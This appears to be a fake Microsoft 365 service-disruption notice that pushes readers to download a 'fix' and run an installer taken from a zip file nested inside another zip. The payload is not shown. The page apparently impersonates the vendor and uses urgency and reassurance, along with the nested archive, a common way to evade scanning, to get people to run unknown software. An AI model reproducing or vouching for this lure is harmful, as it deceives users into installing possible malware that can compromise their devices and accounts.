Communication errors are blocking Microsoft 365 access

We are tracking an active service disruption. Affected devices are reporting communication errors — sign-in hangs, Outlook stuck on “trying to connect”, Teams calls dropping and mailbox sync failing.

A required client update has been released that clears the fault. Run it once on the device and the errors stop.

Download the fix

No restart required. No settings or mailbox data are changed.

› Installation steps

1. Save the downloaded file.
2. Right-click the file and choose Extract All.
3. Open the extracted folder and extract the .zip file inside it as well.
4. Run the installer inside and follow the prompts.
5. Reopen Outlook or Teams — sign-in completes normally.